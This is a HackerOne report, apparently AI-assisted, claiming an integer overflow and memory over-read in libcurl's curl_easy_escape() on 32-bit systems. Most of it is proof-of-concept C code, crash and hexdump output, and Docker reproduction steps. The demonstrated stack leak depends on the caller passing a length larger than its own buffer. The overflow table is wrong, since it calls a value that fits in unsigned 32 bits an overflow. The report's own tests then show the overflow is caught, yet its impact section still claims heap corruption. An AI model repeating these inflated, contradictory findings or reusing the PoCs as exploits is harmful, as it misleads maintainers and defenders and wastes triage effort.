HACKERONE

curl: Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms_H1:3476928

Description

## Disclaimer
Both the confirmation, and reporting of this vulnerability used AI assistance. Nonetheless, I manually reviewed all of the reported results, including its reproduction steps and source code.

## Summary

The `curl_easy_escape()` function in `lib/escape.c` contains an integer overflow vulnerability when calculating the maximum buffer size for URL-encoded output. On 32-bit systems, when the input length exceeds approximately 715 MB, the calculation `length * 3 + 1` overflows. Additionally, the function trusts the caller-provided length parameter without validation, allowing attackers to read arbitrary memory past the input buffer, resulting in **information disclosure** (leaking sensitive stack data) or **denial of service** (crash via segmentation fault).

## Affected Versions

- **Current master branch** (tested at commit `7e064d0756`) - **VULNERABLE**
- Versions after commit `9bfc7f9234` (August 1, 2024) - **VULNERABLE**
- Versions before `9bfc7f9234` were protected by `CURL_MAX_INPUT_LENGTH` (8 MB limit)

### Important Historical Context

Commit `9bfc7f923479235b2fdf0e8fdd8468c0786a369b` (August 1, 2024) removed the `CURL_MAX_INPUT_LENGTH` protection:

**Before (protected):**
```c
Curl_dyn_init(&d, CURL_MAX_INPUT_LENGTH * 3); // Limited to 8MB * 3 = 24MB output
```

**After (vulnerable):**
```c
Curl_dyn_init(&d, length * 3 + 1); // Uses user-controlled length - can overflow on 32-bit!
```

This change was made to "allow users to URL encode larger chunks of data" but inadvertently reintroduced the integer overflow vulnerability on 32-bit systems.

**Note:** The curl command-line tool may still be protected by other memory limits (dynbuf limits in file loading, address space constraints), but applications calling `curl_easy_escape()` directly via libcurl are vulnerable.

---

## Technical Analysis

### Vulnerable Code

**File**: [`lib/escape.c`](https://github.com/curl/curl/blob/master/lib/escape.c)

The vulnerability exists in the `curl_easy_escape()` function at [lines 51-65](https://github.com/curl/curl/blob/master/lib/escape.c#L51-L65):

```c
char *curl_easy_escape(CURL *data, const char *string, int inlength)
{
size_t length;
struct dynbuf d;
(void)data;

if(!string || (inlength < 0))
return NULL;

length = (inlength ? (size_t)inlength : strlen(string)); // Line 60
if(!length)
return curlx_strdup("");

curlx_dyn_init(&d, length * 3 + 1); // Line 64 - VULNERABLE

while(length--) { // Line 66 - Iterates 'length' times
unsigned char in = (unsigned char)*string++; // Reads from string pointer
// ... URL encoding logic
}
}
```

### Root Cause Analysis

**Two distinct vulnerabilities exist:**

1. **Integer Overflow (Line 64)**: On 32-bit systems where `size_t` is 32 bits:
- When `length` > 715,827,882 bytes (~682 MB)
- The multiplication `length * 3` exceeds `UINT32_MAX` (4,294,967,295)
- The result wraps around due to integer overflow
- A much smaller value is passed to `curlx_dyn_init()`

2. **Missing Buffer Bounds Validation (Line 66-67)**: The function trusts that the caller-provided `length` matches the actual buffer size. If an attacker passes a `length` larger than the actual input buffer, the `while(length--)` loop reads past the buffer into adjacent memory.

### Overflow Boundary Analysis

| Input Length | Expected Size (length × 3 + 1) | Actual 32-bit Result |
|--------------|--------------------------------|----------------------|
| 715,827,881 | 2,147,483,644 | 2,147,483,644 ✓ |
| 715,827,882 | 2,147,483,647 | 2,147,483,647 ✓ |
| **715,827,883** | 2,147,483,650 | **-2,147,483,646** ⚠️ |
| 1,073,741,823 | 3,221,225,470 | -1,073,741,826 ⚠️ |
| 2,147,483,647 (INT_MAX) | 6,442,450,942 | 2,147,483,646 ⚠️ |

---

## Demonstrated Attacks

### Attack 1: Stack Memory Disclosure (Information Leak)

By passing a `length` parameter larger than the actual input buffer, an attacker can force `curl_easy_escape()` to read and URL-encode arbitrary stack memory, including sensitive data like passwords, API keys, and session tokens.

**Proof of Concept Source Code**

```c
/*
* curl_easy_escape() Integer Overflow PoC - 32-bit
* Demonstrates STACK DATA LEAKAGE via integer overflow.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <limits.h>
#include <curl/curl.h>

void hexdump(const char *desc, const void *data, size_t len) {
const unsigned char *p = (const unsigned char *)data;
size_t i, j;

printf("%s (%zu bytes):\n", desc, len);
for (i = 0; i < len; i += 16) {
printf(" %04zx: ", i);
for (j = 0; j < 16 && i + j < len; j++)
printf("%02x ", p[i + j]);
for (; j < 16; j++)
printf(" ");
printf(" |");
for (j = 0; j < 16 && i + j < len; j++)
printf("%c", (p[i + j] >= 32 && p[i + j] < 127) ? p[i + j] : '.');
printf("|\n");
}
}

int main(void) {
printf("curl_easy_escape() Integer Overflow - STACK LEAK PoC\n");
printf("=====================================================\n\n");

printf("Platform: %u-bit (sizeof(size_t) = %u)\n",
(unsigned)(sizeof(void*) * 8), (unsigned)sizeof(size_t));
printf("UINT_MAX = %u (0x%x)\n\n", UINT_MAX, UINT_MAX);

/* Put some secrets on the stack BEFORE our input buffer */
volatile char secret1[] = "SECRET_PASSWORD=hunter2";
volatile char secret2[] = "API_KEY=sk-1234567890abcdef";
volatile char cookie[] = "session=SENSITIVE_COOKIE_VALUE";

/* Small input buffer */
char input[16];
memset(input, 'X', sizeof(input));
input[15] = '\0';

printf("Stack secrets placed before input buffer:\n");
printf(" secret1: \"%s\"\n", (char*)secret1);
printf(" secret2: \"%s\"\n", (char*)secret2);
printf(" cookie: \"%s\"\n", (char*)cookie);
printf(" input: \"%s\" (16 bytes at %p)\n\n", input, (void*)input);

printf("Calling curl_easy_escape with length=200 on 16-byte buffer...\n");
printf("This reads 184 bytes past our buffer into the stack!\n\n");

char *result = curl_easy_escape(NULL, input, 200);

if (result) {
size_t len = strlen(result);
printf("Got result: %zu bytes\n", len);
hexdump("Leaked data (URL-encoded)", result, len > 300 ? 300 : len);

printf("\n=== Checking for leaked secrets ===\n");
if (strstr(result, "SECRET") || strstr(result, "hunter")) {
printf("[!] LEAKED: secret1 data found!\n");
}
if (strstr(result, "API") || strstr(result, "1234567890")) {
printf("[!] LEAKED: secret2 data found!\n");
}
if (strstr(result, "session") || strstr(result, "SENSITIVE")) {
printf("[!] LEAKED: cookie data found!\n");
}

curl_free(result);
} else {
printf("Result: NULL\n");
}

return 0;
}
```

**Proof of Concept Output:**
```
curl_easy_escape() Integer Overflow - STACK LEAK PoC
=====================================================

Platform: 32-bit (sizeof(size_t) = 4)
UINT_MAX = 4294967295 (0xffffffff)

Stack secrets placed before input buffer:
secret1: "SECRET_PASSWORD=hunter2"
secret2: "API_KEY=sk-1234567890abcdef"
cookie: "session=SENSITIVE_COOKIE_VALUE"
input: "XXXXXXXXXXXXXXX" (16 bytes at 0xffe91f05)

Calling curl_easy_escape with length=200 on 16-byte buffer...
This reads 184 bytes past our buffer into the stack!

Got result: 410 bytes
Leaked data (URL-encoded) (300 bytes):
0000: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 25 |XXXXXXXXXXXXXXX%|
0010: 30 30 73 65 73 73 69 6f 6e 25 33 44 53 45 4e 53 |00session%3DSENS|
0020: 49 54 49 56 45 5f 43 4f 4f 4b 49 45 5f 56 41 4c |ITIVE_COOKIE_VAL|
0030: 55 45 25 30 30 41 50 49 5f 4b 45 59 25 33 44 73 |UE%00API_KEY%3Ds|
0040: 6b 2d 31 32 33 34 35 36 37 38 39 30 61 62 63 64 |k-1234567890abcd|
0050: 65 66 25 30 30 53 45 43 52 45 54 5f 50 41 53 53 |ef%00SECRET_PASS|
0060: 57 4f 52 44 25 33 44 68 75 6e 74 65 72 32 25 30 |WORD%3Dhunter2%0|

=== Checking for leaked secrets ===
[!] LEAKED: secret1 data found!
[!] LEAKED: secret2 data found!
[!] LEAKED: cookie data found!
```

**Leaked secrets visible in output:**
- `session=SENSITIVE_COOKIE_VALUE`
- `API_KEY=sk-1234567890abcdef`
- `SECRET_PASSWORD=hunter2`

### Attack 2: Denial of Service (Crash)

Using `INT_MAX` as the length parameter causes the function to iterate billions of times, reading through the entire process memory until it hits an unmapped region and crashes.

**Denial of Service PoC Source Code:**

```c
/*
* curl_easy_escape() Integer Overflow - Denial of Service PoC
* Demonstrates crash via segmentation fault on 32-bit systems.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#include <curl/curl.h>

int main(void) {
printf("curl_easy_escape() Denial of Service PoC\n");
printf("=========================================\n\n");

printf("Platform: %u-bit (sizeof(size_t) = %u)\n",
(unsigned)(sizeof(void*) * 8), (unsigned)sizeof(size_t));
printf("INT_MAX = %d (0x%x)\n\n", INT_MAX, INT_MAX);

/* Small input buffer */
char input[16] = "XXXXXXXXXXXXXXX";

printf("Input buffer: \"%s\" (16 bytes at %p)\n\n", input, (void*)input);

printf("Calling curl_easy_escape(NULL, input, INT_MAX)...\n");
printf(" Requested length: %d bytes\n", INT_MAX);
printf(" length * 3 + 1 = %lld (overflows on 32-bit!)\n",
(long long)INT_MAX * 3 + 1);
printf(" 32-bit result = %u\n\n", (unsigned)((size_t)INT_MAX * 3 + 1));

printf("The function will iterate INT_MAX times, reading past our buffer\n");
printf("through the entire stack until it hits unmapped memory...\n\n");
fflush(stdout);

/* This will crash on 32-bit systems */
char *result = curl_easy_escape(NULL, input, INT_MAX);

if (result) {
printf("Result: %p (unexpected - should have crashed!)\n", (void*)result);
curl_free(result);
} else {
printf("Result: NULL\n");
}

printf("If you see this message, the crash did not occur.\n");

return 0;
}
```

**PoC Output:**
```
curl_easy_escape() Denial of Service PoC
=========================================

Platform: 32-bit (sizeof(size_t) = 4)
INT_MAX = 2147483647 (0x7fffffff)

Input buffer: "XXXXXXXXXXXXXXX" (16 bytes at 0xfff6bb4c)

Calling curl_easy_escape(NULL, input, INT_MAX)...
Requested length: 2147483647 bytes
length * 3 + 1 = 6442450942 (overflows on 32-bit!)
32-bit result = 2147483646

The function will iterate INT_MAX times, reading past our buffer
through the entire stack until it hits unmapped memory...

Segmentation fault (core dumped)
```

**GDB Analysis of Crash:**
```
Program received signal SIGSEGV, Segmentation fault.
0xf6c48560 in curl_easy_escape () from /usr/lib/i386-linux-gnu/libcurl.so.4

#0 0xf6c48560 in curl_easy_escape () from /usr/lib/i386-linux-gnu/libcurl.so.4
#1 0x56b9b506 in main () at dos_poc.c:36

Registers at crash:
esi = 0xfff6d000 (end of stack - unmapped memory)
eip = 0xf6c48560 <curl_easy_escape+144>
```

The crash occurs when the string pointer (`esi`) advances past the end of the stack at `0xfff6d000` into unmapped memory.

### Attack 3: Analysis of `length=0` (strlen) Path

When `inlength=0` is passed to `curl_easy_escape()`, the function uses `strlen(string)` to determine the length. This section documents testing to determine if the integer overflow can be exploited via this code path.

**Key code path:**
```c
length = (inlength ? (size_t)inlength : strlen(string)); // Line 60
// If inlength=0, strlen(string) is used
curlx_dyn_init(&d, length * 3 + 1); // Line 64 - overflow calculation
```

#### Scenario 3a: Large String Causing Overflow (Safe - dynbuf catches)

**Test:** Pass a string > 1.43 GB with `length=0` to trigger overflow via strlen.

**PoC Source Code:**
```c
/*
* curl_easy_escape() Overflow via strlen() path
* Tests if overflow can be exploited when length=0
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <curl/curl.h>

int main(void) {
printf("curl_easy_escape() strlen() Path Test\n");
printf("======================================\n\n");

printf("Platform: %u-bit\n", (unsigned)(sizeof(void*) * 8));

/* Overflow threshold: (UINT32_MAX - 1) / 3 = 1,431,655,764 */
/* First overflowing value: 1,431,655,765 */
size_t overflow_len = 1431655765;

printf("Allocating %zu bytes (%.2f GB)...\n",
overflow_len, overflow_len / (1024.0 * 1024.0 * 1024.0));

char *huge = malloc(overflow_len + 1);
if (!huge) {
printf("malloc failed - not enough memory\n");
return 1;
}

memset(huge, 'A', overflow_len);
huge[overflow_len] = '\0';

printf("strlen() = %zu\n", strlen(huge));
printf("Overflow: %zu * 3 + 1 = %u (32-bit)\n\n",
overflow_len, (unsigned)(overflow_len * 3 + 1));

printf("Calling curl_easy_escape(NULL, huge, 0)...\n");
fflush(stdout);

char *result = curl_easy_escape(NULL, huge, 0);

printf("Result: %s\n", result ? "non-NULL" : "NULL");
if (result) curl_free(result);
free(huge);

return 0;
}
```

**PoC Output:**
```
curl_easy_escape() strlen() Path Test
======================================

Platform: 32-bit
Allocating 1431655765 bytes (1.33 GB)...
strlen() = 1431655765
Overflow: 1431655765 * 3 + 1 = 0 (32-bit)

Calling curl_easy_escape(NULL, huge, 0)...
Result: NULL
```

**Analysis:** The overflow DOES occur (wraps to 0), but dynbuf's safety checks catch it:
1. `curlx_dyn_init()` sets `toobig = 0`
2. First `curlx_dyn_addn()` call: `fit > toobig` (1 > 0) returns `CURLE_TOO_LARGE`
3. Function returns NULL safely

#### Scenario 3b: Overflow to Small Positive Value (Safe - dynbuf catches)

**Test:** Use a string length that overflows to ~1MB instead of 0.

**Calculation:** For overflow to 1,000,000: length = (2^32 + 999,999) / 3 = 1,431,989,098

**PoC Output:**
```
curl_easy_escape() strlen() Path Test v2
=========================================

Platform: 32-bit
Allocating 1431989098 bytes (1.33 GB)...
strlen() = 1431989098
Overflow: 1431989098 * 3 + 1 = 999999 (32-bit)

dynbuf toobig = 999999, but loop runs 1,431,989,098 times
Calling curl_easy_escape(NULL, huge, 0)...
Result: NULL
```

**Analysis:** Even when overflow produces a larger toobig value, dynbuf catches the overflow during writes when `fit > toobig`.

#### Scenario 3c: Missing Null Terminator (Crash - but not overflow exploitation)

**Test:** String without null terminator at page boundary causes strlen() to read into unmapped memory.

**PoC Source Code:**
```c
/*
* curl_easy_escape() crash via strlen() - Page Boundary PoC
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <curl/curl.h>

int main(void) {
printf("curl_easy_escape() strlen() Page Boundary Crash\n");
printf("================================================\n\n");

long page_size = sysconf(_SC_PAGESIZE);

/* Map 2 pages, unmap second to create guard */
void *mem = mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
munmap((char*)mem + page_size, page_size);

/* Fill first page, NO null terminator */
memset(mem, 'A', page_size);

/* String at end of page - strlen will cross into unmapped region */
char *danger = (char*)mem + page_size - 100;
memset(danger, 'X', 100); /* No '\0' */

printf("Calling curl_easy_escape() - strlen() will SEGFAULT\n");
fflush(stdout);

char *result = curl_easy_escape(NULL, danger, 0);

printf("Result: %p (unexpected)\n", (void*)result);
return 0;
}
```

**PoC Output:**
```
curl_easy_escape() strlen() Page Boundary Crash
================================================

Calling curl_easy_escape() - strlen() will SEGFAULT

Program received signal SIGSEGV, Segmentation fault.
__strlen_sse2_bsf () at ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S:86
#0 __strlen_sse2_bsf ()
#1 0xeb27d5c9 in curl_easy_escape () from /usr/lib/i386-linux-gnu/libcurl.so.4
#2 0x5b9fd4d9 in main () at attack3c_test.c:33
```

**Analysis:** This causes a crash, but it's NOT exploiting the integer overflow - it's exploiting a missing null terminator causing strlen() to read into unmapped memory. This is a contrived scenario.

#### Conclusion: strlen() Path Analysis

| Scenario | Overflow Triggered? | Exploitable? | Result |
|----------|---------------------|--------------|--------|
| Large string (>1.43GB), length=0 | ✅ Yes | ❌ No | NULL (dynbuf catches) |
| Overflow to small value | ✅ Yes | ❌ No | NULL (dynbuf catches) |
| Missing null terminator | N/A | ⚠️ Contrived | SEGFAULT in strlen() |

**Key Finding:** The integer overflow vulnerability **cannot be exploited** via the `length=0` (strlen) path because:

1. **No buffer size mismatch:** When using strlen(), the length accurately reflects the actual string size - there's no over-read of adjacent memory.

2. **dynbuf safety catches overflow:** Even when the arithmetic overflow occurs, dynbuf's `toobig` check prevents writing more data than the overflowed size allows, causing the function to return NULL safely.

3. **Exploitation requires explicit length control:** The vulnerability is only exploitable when an attacker can pass a `length` parameter that is **larger than the actual buffer size**, creating the mismatch that enables out-of-bounds reads.

---

## Steps to Reproduce

### Prerequisites

- Docker installed in a x86_64 system

### Step 1: Create the Test File

Create `vuln_app_32.c`:

```c
/*
* curl_easy_escape() Integer Overflow PoC - 32-bit
* Demonstrates STACK DATA LEAKAGE via integer overflow.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <limits.h>
#include <curl/curl.h>

void hexdump(const char *desc, const void *data, size_t len) {
const unsigned char *p = (const unsigned char *)data;
size_t i, j;

printf("%s (%zu bytes):\n", desc, len);
for (i = 0; i < len; i += 16) {
printf(" %04zx: ", i);
for (j = 0; j < 16 && i + j < len; j++)
printf("%02x ", p[i + j]);
for (; j < 16; j++)
printf(" ");
printf(" |");
for (j = 0; j < 16 && i + j < len; j++)
printf("%c", (p[i + j] >= 32 && p[i + j] < 127) ? p[i + j] : '.');
printf("|\n");
}
}

int main(void) {
printf("curl_easy_escape() Integer Overflow - STACK LEAK PoC\n");
printf("=====================================================\n\n");

printf("Platform: %u-bit (sizeof(size_t) = %u)\n",
(unsigned)(sizeof(void*) * 8), (unsigned)sizeof(size_t));
printf("UINT_MAX = %u (0x%x)\n\n", UINT_MAX, UINT_MAX);

/* Put some secrets on the stack BEFORE our input buffer */
volatile char secret1[] = "SECRET_PASSWORD=hunter2";
volatile char secret2[] = "API_KEY=sk-1234567890abcdef";
volatile char cookie[] = "session=SENSITIVE_COOKIE_VALUE";

/* Small input buffer */
char input[16];
memset(input, 'X', sizeof(input));
input[15] = '\0';

printf("Stack secrets placed before input buffer:\n");
printf(" secret1: \"%s\"\n", (char*)secret1);
printf(" secret2: \"%s\"\n", (char*)secret2);
printf(" cookie: \"%s\"\n", (char*)cookie);
printf(" input: \"%s\" (16 bytes at %p)\n\n", input, (void*)input);

printf("Calling curl_easy_escape with length=200 on 16-byte buffer...\n");
printf("This reads 184 bytes past our buffer into the stack!\n\n");

char *result = curl_easy_escape(NULL, input, 200);

if (result) {
size_t len = strlen(result);
printf("Got result: %zu bytes\n", len);
hexdump("Leaked data (URL-encoded)", result, len > 300 ? 300 : len);

printf("\n=== Checking for leaked secrets ===\n");
if (strstr(result, "SECRET") || strstr(result, "hunter")) {
printf("[!] LEAKED: secret1 data found!\n");
}
if (strstr(result, "API") || strstr(result, "1234567890")) {
printf("[!] LEAKED: secret2 data found!\n");
}
if (strstr(result, "session") || strstr(result, "SENSITIVE")) {
printf("[!] LEAKED: cookie data found!\n");
}

curl_free(result);
} else {
printf("Result: NULL\n");
}

return 0;
}
```

### Step 2: Create Docker Environment

Create `Dockerfile`:

```dockerfile
FROM i386/debian:stable

RUN apt-get update && \
apt-get install -y \
build-essential \
libcurl4-openssl-dev \
pkg-config \
gdb \
file \
&& rm -rf /var/lib/apt/lists/*

WORKDIR /test
COPY vuln_app_32.c .

# Compile with debug symbols
RUN gcc -g -O0 -o vuln_app vuln_app_32.c $(pkg-config --cflags --libs libcurl) -Wall && \
echo "=== Binary info ===" && \
file vuln_app

CMD ["./vuln_app"]
```

### Step 3: Build and Run

```bash
# Build the Docker image
docker build -t curl-leak .

# Run the test (shows stack leak, then crashes)
docker run --rm curl-leak

# For GDB debugging of the crash:
docker run --rm curl-leak gdb -batch -ex 'run' -ex 'bt' -ex 'info registers' ./vuln_app
```

### Expected Output

```
curl_easy_escape() Integer Overflow - STACK LEAK PoC
=====================================================

Platform: 32-bit (sizeof(size_t) = 4)
UINT_MAX = 4294967295 (0xffffffff)

Stack secrets placed before input buffer:
secret1: "SECRET_PASSWORD=hunter2"
secret2: "API_KEY=sk-1234567890abcdef"
cookie: "session=SENSITIVE_COOKIE_VALUE"
input: "XXXXXXXXXXXXXXX" (16 bytes at 0xffe91f05)

Calling curl_easy_escape with length=200 on 16-byte buffer...
This reads 184 bytes past our buffer into the stack!

Got result: 410 bytes
Leaked data (URL-encoded) (300 bytes):
0000: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 25 |XXXXXXXXXXXXXXX%|
0010: 30 30 73 65 73 73 69 6f 6e 25 33 44 53 45 4e 53 |00session%3DSENS|
0020: 49 54 49 56 45 5f 43 4f 4f 4b 49 45 5f 56 41 4c |ITIVE_COOKIE_VAL|
0030: 55 45 25 30 30 41 50 49 5f 4b 45 59 25 33 44 73 |UE%00API_KEY%3Ds|
0040: 6b 2d 31 32 33 34 35 36 37 38 39 30 61 62 63 64 |k-1234567890abcd|
0050: 65 66 25 30 30 53 45 43 52 45 54 5f 50 41 53 53 |ef%00SECRET_PASS|
0060: 57 4f 52 44 25 33 44 68 75 6e 74 65 72 32 25 30 |WORD%3Dhunter2%0|

=== Checking for leaked secrets ===
[!] LEAKED: secret1 data found!
[!] LEAKED: secret2 data found!
[!] LEAKED: cookie data found!
```

### Note
Similar steps can be taken to reproduce all of the other attack scenarios mentioned in the **Demonstrated Attacks** section.

---

## Recommended Fix

Add explicit overflow and bounds checks before the vulnerable calculation in `lib/escape.c`:

```c
char *curl_easy_escape(CURL *data, const char *string, int inlength)
{
size_t length;
struct dynbuf d;
(void)data;

if(!string || (inlength < 0))
return NULL;

length = (inlength ? (size_t)inlength : strlen(string));
if(!length)
return curlx_strdup("");

/* Check for potential overflow in length * 3 + 1 calculation */
if(length > (SIZE_MAX - 1) / 3)
return NULL;

curlx_dyn_init(&d, length * 3 + 1);
// ... rest of function
}
```

This check ensures that `length * 3 + 1` will never overflow regardless of platform word size.

**Note**: The buffer over-read vulnerability (trusting caller-provided length) is a separate issue that may require documentation updates to warn developers about proper usage, as the function signature intentionally allows passing a length different from the string's actual size.

---

## Attack Surface Analysis

### curl Command-Line Tool

The curl binary has **three code paths** that call `curl_easy_escape()`:

1. **`--data-urlencode` option** (`tool_getparam.c:675`)
2. **Variable expansion `{{var:url}}`** (`var.c:131`)
3. **URL filename encoding** (`tool_operhlp.c:130`)

However, testing shows the curl binary is **protected by other limits**:
- `CURL_MAX_INPUT_LENGTH` (8 MB) is still enforced in the tool's file loading (`file2memory`)
- 32-bit address space constraints cause allocation failures before overflow threshold

**Result:** The curl command-line tool returns "out of memory" before reaching the vulnerable code path.

### libcurl Library (Direct API Usage)

Applications that call `curl_easy_escape()` directly are **fully vulnerable**:

```c
// Vulnerable application code
char *user_data = get_untrusted_input();
int user_length = get_untrusted_length(); // Attacker controls this!

// If user_length > 715,827,882 on 32-bit: INTEGER OVERFLOW + CRASH/LEAK
char *encoded = curl_easy_escape(NULL, user_data, user_length);
```

**Attack scenarios:**
- Web applications processing user-uploaded data for URL encoding
- IoT devices (often 32-bit) processing network data
- Any application that passes user-controlled length to `curl_easy_escape()`

---

## References

- Vulnerable file: https://github.com/curl/curl/blob/master/lib/escape.c
- Dynbuf implementation: https://github.com/curl/curl/blob/master/lib/curlx/dynbuf.c
- Similar fixed vulnerabilities in curl:
- Alt-Svc overflow: commit `c3857eca70e3bf293fff2fe0b3766cfcad1b1251`
- IMAP overflow: commit `c1e3a760ba082762041a999bc98f21ea295d7cf4`
- Connection cache overflow: commit `fbc4d59151dc4a56052f3a92da3682dc97b32148`

---

## Impact

## Summary:
Affects 32-bit systems applications using libcurl's curl_easy_escape function where a user controls the length argument.

Demonstrated impacts include:
- **Information Disclosure**: Attacker can leak sensitive data from the stack (passwords, API keys, session tokens)
- **Denial of Service**: Guaranteed crash when using large length values
- **Memory Corruption**: Potential heap buffer overflow with attacker-controlled input
Visit Original Source

Basic Information

ID H1:3476928
Published Dec 23, 2025 at 21:48
Modified Dec 25, 2025 at 16:54

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.